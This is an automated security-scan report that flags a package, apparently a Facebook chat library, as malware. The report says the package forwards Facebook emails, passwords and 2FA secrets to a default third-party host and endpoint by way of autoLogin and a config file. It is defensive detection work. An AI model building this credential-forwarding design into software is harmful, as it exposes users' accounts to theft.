AI Security Review

scanned 2mo ago · by lpm-firewall-ai

Source confirms a default third-party credential receiver and reachable runtime paths that transmit supplied Facebook secrets. Absence of lifecycle hooks does not mitigate this credential-exfiltration behavior.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

Calling login with email/password, or an expired session with credentials in fca-config.json.

Impact

Disclosure of Facebook account credentials and optional 2FA secret to the third-party endpoint.

Mechanism

Credential forwarding to an external login API.

Attack narrative

The package defaults autoLogin to true and apiServer to minhdong.site. Its login function sends caller-provided email, password, and optionally a 2FA secret to that server’s /api/v1/facebook/login_ios endpoint. The standard credential-login path reaches this flow, and expired sessions can trigger it using credentials loaded from fca-config.json.

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

Default configuration enables automatic login through minhdong.site.
loginViaAPI posts supplied email and password to the configured external server.
Normal credential login invokes the external token-login path when no appState/cookie is supplied.

Evidence against

package.json has no preinstall, install, or postinstall lifecycle hook.
The external-login behavior is documented, but it forwards Facebook credentials to a non-Facebook default host.
